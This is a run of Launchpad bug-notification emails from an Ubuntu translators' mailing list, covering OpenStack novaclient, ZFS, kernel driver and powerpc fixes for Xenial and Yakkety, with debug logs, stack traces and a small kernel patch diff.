[Group.of.nepali.translators] [Bug 1559072] Re: [SRU] exceptions.from_response with webob 1.6.0 results in "AttributeError: 'unicode' object has no attribute 'get'"

[OpenStack Infra]

** Changed in: python-cinderclient
   Status: Invalid => In Progress

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1559072

Title:
  [SRU] exceptions.from_response with webob 1.6.0 results in
  "AttributeError: 'unicode' object has no attribute 'get'"

Status in networking-midonet:
  Fix Released
Status in python-cinderclient:
  In Progress
Status in python-novaclient:
  Fix Released
Status in python-openstackclient:
  Invalid
Status in python-novaclient package in Ubuntu:
  Fix Released
Status in python-novaclient source package in Xenial:
  Fix Released
Status in python-novaclient source package in Yakkety:
  Fix Released

Bug description:
  [Impact] [Testcase]
  Running on Ubuntu 14.04.
  After installing nova from source in either the Liberty release or Mitaka, 
with WebOb 1.6.0, running any nova command generated this error:
  root@openstack-ubu-controller:~# nova service-list
  ERROR (AttributeError): 'unicode' object has no attribute 'get'

  The equivalent openstack commands work correctly. After downgrading
  WebOb to 1.5.1 AND restarting the nova-api service everything works.

  Detailed output from nova -debug service-list with the error:

  root@openstack-ubu-controller:~# nova --debug service-list
  DEBUG (extension:157) found extension EntryPoint.parse('v2token = 
keystoneauth1.loading._plugins.identity.v2:Token')
  DEBUG (extension:157) found extension EntryPoint.parse('admin_token = 
keystoneauth1.loading._plugins.admin_token:AdminToken')
  DEBUG (extension:157) found extension EntryPoint.parse('v3oidcauthcode = 
keystoneauth1.loading._plugins.identity.v3:OpenIDConnectAuthorizationCode')
  DEBUG (extension:157) found extension EntryPoint.parse('v2password = 
keystoneauth1.loading._plugins.identity.v2:Password')
  DEBUG (extension:157) found extension EntryPoint.parse('v3password = 
keystoneauth1.loading._plugins.identity.v3:Password')
  DEBUG (extension:157) found extension EntryPoint.parse('v3oidcpassword = 
keystoneauth1.loading._plugins.identity.v3:OpenIDConnectPassword')
  DEBUG (extension:157) found extension EntryPoint.parse('token = 
keystoneauth1.loading._plugins.identity.generic:Token')
  DEBUG (extension:157) found extension EntryPoint.parse('v3token = 
keystoneauth1.loading._plugins.identity.v3:Token')
  DEBUG (extension:157) found extension EntryPoint.parse('password = 
keystoneauth1.loading._plugins.identity.generic:Password')
  DEBUG (session:248) REQ: curl -g -i -X GET http://10.0.1.3:5000/v2.0 -H 
"Accept: application/json" -H "User-Agent: keystoneauth1/2.3.0 
python-requests/2.9.1 CPython/2.7.6"
  INFO (connectionpool:207) Starting new HTTP connection (1): 10.0.1.3
  DEBUG (connectionpool:387) "GET /v2.0 HTTP/1.1" 200 334
  DEBUG (session:277) RESP: [200] Content-Length: 334 Vary: X-Auth-Token 
Keep-Alive: timeout=5, max=100 Server: Apache/2.4.7 (Ubuntu) Connection: 
Keep-Alive Date: Fri, 18 Mar 2016 12:41:58 GMT Content-Type: application/json 
x-openstack-request-id: req-a0c68cd5-ea29-4391-942f-130cc69d15f8
  RESP BODY: {"version": {"status": "stable", "updated": 
"2014-04-17T00:00:00Z", "media-types": [{"base": "application/json", "type": 
"application/vnd.openstack.identity-v2.0+json"}], "id": "v2.0", "links": 
[{"href": "http://10.0.1.3:5000/v2.0/;, "rel": "self"}, {"href": 
"http://docs.openstack.org/;, "type": "text/html", "rel": "describedby"}]}}

  DEBUG (v2:63) Making authentication request to 
http://10.0.1.3:5000/v2.0/tokens
  DEBUG (connectionpool:387) "POST /v2.0/tokens HTTP/1.1" 200 2465
  DEBUG (session:248) REQ: curl -g -i -X GET 
http://10.0.1.3:8774/v1.1/b77d640e127e488fb42a7c0716ba53a5 -H "User-Agent: 
python-novaclient" -H "Accept: application/json" -H "X-Auth-Token: 
{SHA1}381893576ad46c62b587f4963d769b89441b919a"
  INFO (connectionpool:207) Starting new HTTP connection (1): 10.0.1.3
  DEBUG (connectionpool:387) "GET /v1.1/b77d640e127e488fb42a7c0716ba53a5 
HTTP/1.1" 404 112
  DEBUG (session:277) RESP: [404] Date: Fri, 18 Mar 2016 12:41:59 GMT 
Connection: keep-alive Content-Type: application/json; charset=UTF-8 
Content-Length: 112 X-Compute-Request-Id: 
req-f10a2016-9a88-48fd-af1d-5f800fc9e11a
  RESP BODY: {"message": "The resource could not be found.\n\n\n", 
"code": "404 Not Found", "title": "Not Found"}

  DEBUG (shell:894) 'unicode' object has no attribute 'get'
  Traceback (most recent call last):
    File "/usr/local/lib/python2.7/dist-packages/novaclient/shell.py", line 
892, in main
  OpenStackComputeShell().main(argv)
    File "/usr/local/lib/python2.7/dist-packages/novaclient/shell.py", line 
726, in main
  api_version = api_versions.discover_version(self.cs, api_version)
    File "/usr/local/lib/python2.7/dist-packages/novaclient/api_versions.py", 
line 267, in discover_version
  client)
    File "/usr/local/lib/python2.7/dist-packages/novaclient/api_versions.py", 
line 

[Group.of.nepali.translators] [Bug 1636517] Re: zfs: importing zpool with vdev on zvol hangs kernel

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu Zesty)
   Status: Triaged => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1636517

Title:
  zfs: importing zpool with vdev on zvol hangs kernel

Status in linux package in Ubuntu:
  Fix Released
Status in zfs-linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in zfs-linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released
Status in zfs-linux source package in Yakkety:
  Fix Released
Status in linux source package in Zesty:
  Fix Released
Status in zfs-linux source package in Zesty:
  Fix Released

Bug description:
  [SRU Request][Xenial][Yakkety]

  if a zvol of an existing, already imported zpool is a vdev of another
  zpool, a call to "zpool import" will everything zfs related. the stack
  trace is as follows:

  [] taskq_wait+0x74/0xe0 [spl]
  [] taskq_destroy+0x4b/0x100 [spl]
  [] vdev_open_children+0x12d/0x180 [zfs]
  [] vdev_root_open+0x3c/0xc0 [zfs]
  [] vdev_open+0xf5/0x4d0 [zfs]
  [] spa_load+0x39e/0x1c60 [zfs]
  [] spa_tryimport+0xad/0x450 [zfs]
  [] zfs_ioc_pool_tryimport+0x64/0xa0 [zfs]
  [] zfsdev_ioctl+0x44b/0x4e0 [zfs]
  [] do_vfs_ioctl+0x29f/0x490
  [] SyS_ioctl+0x79/0x90
  [] entry_SYSCALL_64_fastpath+0x16/0x71
  [] 0x

  [Fix]
  zfsutils-linux:

  Zesty: https://launchpadlibrarian.net/290907232/zfs-
  linux_0.6.5.8-0ubuntu4_0.6.5.8-0ubuntu5.diff.gz

  Yakkety, likewise
  Xenial, likewise

  Sync'd fixes into kernel repos, patches in:
  http://kernel.ubuntu.com/~cking/zfs-lp-1636517

  [Regression Potential]

  Minimal. This just touched one line in the zfs module
  module/zfs/zvol.cand a shim wrapper in include/linux/blkdev_compat.h

  Tested and passes with the ubuntu kernel team autotest client zfs
  regression tests.

  =

  I traced this back to 193fb6a2c94fab8eb8ce70a5da4d21c7d4023bee (erged
  in 4.4.0-6.21), which added a second parameter to lookup_bdev without
  patching the zfs module (which needs to special case the vdev-on-zvol
  case, and uses this exact method only in this special casing code
  path).

  attached you can find the output of "zfs send -R" ing such a zvol
  ("brokenvol.raw"), running "zfs receive POOL/TARGET < FILE" followed
  by "zpool import" should reproduce the hang.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-45-generic 4.4.0-45.66
  ProcVersionSignature: Ubuntu 4.4.0-45.66-generic 4.4.21
  Uname: Linux 4.4.0-45-generic x86_64
  NonfreeKernelModules: zfs zunicode zcommon znvpair zavl
  AlsaDevices:
   total 0
   crw-rw 1 root audio 116,  1 Oct 25 15:46 seq
   crw-rw 1 root audio 116, 33 Oct 25 15:46 timer
  AplayDevices: Error: [Errno 2] No such file or directory: 'aplay'
  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord'
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', 
'/dev/snd/timer'] failed with exit code 1:
  Date: Tue Oct 25 15:49:51 2016
  HibernationDevice: RESUME=/dev/mapper/xenial--vg-swap_1
  InstallationDate: Installed on 2016-10-25 (0 days ago)
  InstallationMedia: Ubuntu-Server 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig'
  Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
  MachineType: QEMU Standard PC (i440FX + PIIX, 1996)
  PciMultimedia:

  ProcFB: 0 qxldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-45-generic 
root=/dev/mapper/hostname--vg-root ro
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-45-generic N/A
   linux-backports-modules-4.4.0-45-generic  N/A
   linux-firmware1.157.4
  RfKill: Error: [Errno 2] No such file or directory: 'rfkill'
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 04/01/2014
  dmi.bios.vendor: SeaBIOS
  dmi.bios.version: rel-1.9.3-0-ge2fc41e-prebuilt.qemu-project.org
  dmi.chassis.type: 1
  dmi.chassis.vendor: QEMU
  dmi.chassis.version: pc-i440fx-2.7
  dmi.modalias: 
dmi:bvnSeaBIOS:bvrrel-1.9.3-0-ge2fc41e-prebuilt.qemu-project.org:bd04/01/2014:svnQEMU:pnStandardPC(i440FX+PIIX,1996):pvrpc-i440fx-2.7:cvnQEMU:ct1:cvrpc-i440fx-2.7:
  dmi.product.name: Standard PC (i440FX + PIIX, 1996)
  dmi.product.version: pc-i440fx-2.7
  dmi.sys.vendor: QEMU

To manage 

[Group.of.nepali.translators] [Bug 1469483] Re: libgflags pkg-config file is missing in wily

[Jeremy Bicha]

This is fixed in 2.2.0-1 currently in Debian experimental.

https://tracker.debian.org/media/packages/g/gflags/changelog-2.2.0-1

** Changed in: gflags (Ubuntu)
   Status: New => Triaged

** Changed in: gflags (Ubuntu)
   Importance: Undecided => Medium

** Also affects: gflags (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Changed in: gflags (Ubuntu Xenial)
   Importance: Undecided => Medium

** Changed in: gflags (Ubuntu Xenial)
   Status: New => Triaged

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1469483

Title:
  libgflags pkg-config file is missing in wily

Status in gflags package in Ubuntu:
  Triaged
Status in gflags source package in Xenial:
  Triaged

Bug description:
  The pkg-config file is no longer present. It is still available in
  vivid, though.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gflags/+bug/1469483/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1633128] Re: ISST-LTE:pVM nvme 0000:a0:00.0: iommu_alloc failed on NVMe card

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: In Progress => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1633128

Title:
  ISST-LTE:pVM nvme :a0:00.0: iommu_alloc failed on NVMe card

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  == Comment: #0 - Chanh H. Nguyen  - 2016-06-02 14:22:00 
==
  There are a huge iommu_alloc failure on the dmesg log during our ST run on 
the nvme card. 

  
  root@br502lp2:~# uname -r
  4.4.0-22-generic
  root@br502lp2:~# free -g
totalusedfree  shared  buff/cache   
available
  Mem:376   1 101   0 273 
373
  Swap:10   0  10

  root@br502lp2:~# dmesg |grep "iommu_alloc"
  [  844.572656] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 
vaddr c001c1a7 npages 16
  [  844.572658] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 
vaddr c000c351 npages 16
  [  844.572664] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 
vaddr c023c026 npages 16
  [  844.572694] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 
vaddr c000c35b npages 16
  [  844.572700] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 
vaddr c001c1a7 npages 16
  [  844.572703] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 
vaddr c023c7a9 npages 16
  [  844.572718] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 
vaddr c000c35b npages 16
  [  844.572727] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 
vaddr c001c1a7 npages 16
  [  844.572730] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 
vaddr c023c7a9 npages 16
  [  844.572746] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 
vaddr c023c7a9 npages 16
  [ 1033.500635] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 
vaddr c02a6450 npages 16
  [ 1033.500894] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 
vaddr c02a6450 npages 16
  [ 1033.501290] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 
vaddr c03b80d1 npages 16
  [ 1033.501337] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 
vaddr c0290391 npages 16
  [ 1033.501590] nvme 0001:01:00.0: iommu_alloc failed, tbl c0466a2bfc00 

  root@br502lp2:~# cat /proc/cmdline
  BOOT_IMAGE=/boot/vmlinux-4.4.0-22-generic 
root=UUID=2852021a-6954-42a9-8c69-7a58ccfbb65d ro xmon=on disable_ddw splash 
quiet crashkernel=384M-:128M

  root@br502lp2:~# lsmcode
  Version of System Firmware is FW840.20 (SC840_100) (t) FW840.10 (SC840_079) 
(p) FW840.20 (SC840_100) (b)
  Version of PFW is 14492016042881CF0681

  == Comment: #4 - Mauricio Faria De Oliveira  - 
2016-10-13 10:16:40 ==
  Hi Canonical,

  This patch series that resolves this problem made linux mainline in the 4.9 
merge window:
  ("dma-mapping, powerpc, nvme: introduce the DMA_ATTR_NO_WARN attribute")

  Can you please apply it on 16.04.x?

  Thanks!

  Links/commits
  ---

  [1] "dma-mapping: introduce the DMA_ATTR_NO_WARN attribute"
  
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=a9a62c9384417545620aee1b5ad1d9357350c17a
  [2] "powerpc: implement the DMA_ATTR_NO_WARN attribute"
  
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=af8a24988e48f9ed20acf4d5230ac216d5baf723
  [3] "nvme: use the DMA_ATTR_NO_WARN attribute"
  
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=2b6b535d9158b822a45080b3d6d5b2993fd49e5a

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1633128/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1632462] Re: [Trusty->Yakkety] powerpc/64: Fix incorrect return value from __copy_tofrom_user

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Fix Committed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1632462

Title:
  [Trusty->Yakkety] powerpc/64: Fix incorrect return value from
  __copy_tofrom_user

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Trusty:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  == SRU Justification ==
  Impacts all releases from Trusty through Yakkety

  http://paste.ubuntu.com/23309548/

  From ca47910e3b549501b6a3ff786174d2f0d4748ccf Mon Sep 17 00:00:00 2001
  From: Paul Mackerras 
  Date: Tue, 11 Oct 2016 22:18:58 +1100
  Subject: [PATCH] powerpc/64: Fix incorrect return value from__copy_tofrom_user

  Debugging a data corruption issue with virtio-net/vhost-net led to
  the observation that __copy_tofrom_user was occasionally returning
  a value 16 larger than it should.  Since the return value from
  __copy_tofrom_user is the number of bytes not copied, this means
  that __copy_tofrom_user can occasionally return a value larger
  than the number of bytes it was asked to copy.  In turn this can
  cause higher-level copy functions such as copy_page_to_iter_iovec
  to corrupt memory by copying data into the wrong memory locations.

  It turns out that the failing case involves a fault on the store
  at label 79, and at that point the first unmodified byte of the
  destination is at R3 + 16.  Consequently the exception handler
  for that store needs to add 16 to R3 before using it to work out
  how many bytes were not copied, but in this one case it was not
  adding the offset to R3.  To fix it, this moves the label 179 to
  the point where we add 16 to R3.  I have checked manually all the
  exception handlers for the loads and stores in this code and the
  rest of them are correct (it would be excellent to have an
  automated test of all the exception cases).

  Signed-off-by: Paul Mackerras 
  ---
   arch/powerpc/lib/copyuser_64.S | 2 +-
   1 file changed, 1 insertion(+), 1 deletion(-)

  diff --git a/arch/powerpc/lib/copyuser_64.S b/arch/powerpc/lib/copyuser_64.S
  index f09899e..7b22624 100644
  --- a/arch/powerpc/lib/copyuser_64.S
  +++ b/arch/powerpc/lib/copyuser_64.S
  @@ -359,6 +359,7 @@ END_FTR_SECTION_IFCLR(CPU_FTR_UNALIGNED_LD_STD)
addir3,r3,8
   171:
   177:
  +179:
addir3,r3,8
   370:
   372:
  @@ -373,7 +374,6 @@ END_FTR_SECTION_IFCLR(CPU_FTR_UNALIGNED_LD_STD)
   173:
   174:
   175:
  -179:
   181:
   184:
   186:
  -- 
  2.7.4

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1632462/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1632116] Re: Paths not failed properly when unmapping virtual FC ports in VIOS (using ibmvfc)

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Fix Committed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1632116

Title:
  Paths not failed properly when unmapping virtual FC ports in VIOS
  (using ibmvfc)

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  ---Problem Description---
  vios vfc unmap (vfcmap -vadapter vfchost0 -fcp) can result in no i/o being 
retried nor device offline.

  ---uname output---
  Linux ubuntu16 4.4.0-9136-generic #55-Ubuntu SMP Fri Aug 26 05:56:24 UTC 2016 
ppc64le ppc64le ppc64le GNU/Linux
   
  Machine Type = Power8 LPAR 
   
  ---Steps to Reproduce---
   Ubuntu 16.10 lpar with two vfc adapters mapped to SAN Storage and configured 
with mulitpath.
  In vios do:  vfcmap -vadapter vfchost0 -fcp (where vfchost0 maps to test 
lpar).  multipath -ll and lvm commands hang in linux lpar.  tail 
/var/log/message hangs sometimes. multipath doesn't see failing devices and 
doesn't mark paths down.

  
  Fyi ...
   the following patch fixes the problem, which is now upstream accepted in 
the scsi tree as
  
http://git.kernel.org/cgit/linux/kernel/git/mkp/scsi.git/commit/?h=for-next=07d0e9a847401ffd2f09bd450d41644cd090e81d
  ("scsi: ibmvfc: Fix I/O hang when port is not mapped")

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1632116/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1632049] Re: PSL data cache should be flushed before resetting CAPI adapter

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Fix Committed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1632049

Title:
  PSL data cache should be flushed before resetting CAPI adapter

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  ---Problem Description---
  The PSL data cache should be flushed before resetting a CAPI adapter.
  If the PSL data cache holds dirty cache line when it is reset, the host 
trying to access that memory when the link is down may face a Uncorrectable 
Error (UE), forcing a reboot of the system.
   
  ---uname output---
  Linux freak 4.4.0-38-generic #57-Ubuntu SMP Tue Sep 6 15:40:06 UTC 2016 
ppc64le ppc64le ppc64le GNU/Linux
   
  ---Additional Hardware Info---
  CAPI adapter needed + AFU image using the PSL cache (e.g. afu_directed 
memcpy) 

   
  Machine Type = Tuleta 

  ---Steps to Reproduce---
   There's some randomness to it, but triggering a memcpy test + card reset in 
a loop can produce it:

  memcpy_afu_ctx -p100 -l1000
  echo 1 > /sys/class/cxl/card0/reset
  Fix is already upstream under commit ID:
  aaa2245ed836824f21f8e42e0ab63b1637d1cb20 
  "cxl: Flush PSL cache before resetting the adapter"

  We would like the fix released for both 16.04 and 16.10 please.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1632049/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1630970] Re: crypto/vmx/p8_ghash memory corruption

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Fix Committed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1630970

Title:
  crypto/vmx/p8_ghash memory corruption

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  That bug was reported on the linux-crypto mailing list by Jan Stancek.
  The bug is not easily reproduced on Xenial because the crypto API test
  manager is not enabled and the hash test that exorcises this bug is
  not present on the Xenial kernel.

  ---
  Hi,

  I'm chasing a memory corruption with 4.8-rc7 as I'm observing random Oopses
  on ppc BE/LE systems (lpars, KVM guests). About 30% of issues is that
  module list gets corrupted, and "cat /proc/modules" or "lsmod" triggers
  an Oops, for example:

  [   88.486041] Unable to handle kernel paging request for data at address 
0x0020
  ...
  [   88.487658] NIP [c020f820] m_show+0xa0/0x240
  [   88.487689] LR [c020f834] m_show+0xb4/0x240
  [   88.487719] Call Trace:
  [   88.487736] [c004b605bbb0] [c020f834] m_show+0xb4/0x240 
(unreliable)
  [   88.487796] [c004b605bc50] [c045e73c] seq_read+0x36c/0x520
  [   88.487843] [c004b605bcf0] [c04e1014] proc_reg_read+0x84/0x120
  [   88.487889] [c004b605bd30] [c040df88] vfs_read+0xf8/0x380
  [   88.487934] [c004b605bde0] [c040fd40] SyS_read+0x60/0x110
  [   88.487981] [c004b605be30] [c0009590] system_call+0x38/0xec

  0x20 offset is module_use->source, module_use is NULL because 
module.source_list
  gets corrupted.

  The source of corruption appears to originate from a 'ahash' test for
  p8_ghash:

  cryptomgr_test
   alg_test
alg_test_hash
 test_hash
  __test_hash
   ahash_partial_update
shash_async_export
 memcpy

  With some extra traces [1], I'm seeing that ahash_partial_update() allocates 
56 bytes
  for 'state', and then crypto_ahash_export() writes 76 bytes into it:

  [5.970887] __test_hash alg name p8_ghash, result: c4333ac0, key: 
c004b860a500, req: c004b860a380
  [5.970963] state: c4333f00, statesize: 56
  [5.970995] shash_default_export memcpy c4333f00 c004b860a3e0, 
len: 76

  This seems to directly correspond with:
p8_ghash_alg.descsize = sizeof(struct p8_ghash_desc_ctx) == 56
shash_tfm->descsize = sizeof(struct p8_ghash_desc_ctx) + 
crypto_shash_descsize(fallback) == 56 + 20
  where 20 is presumably coming from "ghash_alg.descsize".

  My gut feeling was that these 2 should match, but I'd love to hear
  what crypto people think.

  Thank you,
  Jan
  ---

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1630970/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1630038] Re: thunder nic: avoid link delays due to RX_PACKET_DIS

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Fix Committed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1630038

Title:
  thunder nic: avoid link delays due to RX_PACKET_DIS

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
  [Impact]
  Link establishment is delayed during initialization, possibly resulting in 
remote fault conditions that may cause the interface to fail to come up.

  [Test Case]
  Put the system in a reboot loop and watch for a remote fault condition, or a 
failure to bring up the link that can only be resolved by reloading the module.

  [Regression Risk]
  Patch is to a specific driver that is only used on Cavium ThunderX systems. 
The patch is upstream, so will have upstream support for regressions.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1630038/+subscriptions

___
Mailing list: https://launchpad.net/~group.of.nepali.translators
Post to : group.of.nepali.translators@lists.launchpad.net
Unsubscribe : https://launchpad.net/~group.of.nepali.translators
More help   : https://help.launchpad.net/ListHelp

[Group.of.nepali.translators] [Bug 1629977] Re: sha1-powerpc returning wrong results

[Launchpad Bug Tracker]

This bug was fixed in the package linux - 4.8.0-30.32

---
linux (4.8.0-30.32) yakkety; urgency=low

  * CVE-2016-8655 (LP: #1646318)
- packet: fix race condition in packet_set_ring

 -- Brad Figg   Thu, 01 Dec 2016 08:02:53 -0800

** Changed in: linux (Ubuntu)
   Status: Fix Committed => Fix Released

** CVE added: http://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=2016-8655

-- 
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1629977

Title:
  sha1-powerpc returning wrong results

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Trusty:
  Fix Released
Status in linux source package in Xenial:
  Fix Released
Status in linux source package in Yakkety:
  Fix Released

Bug description:
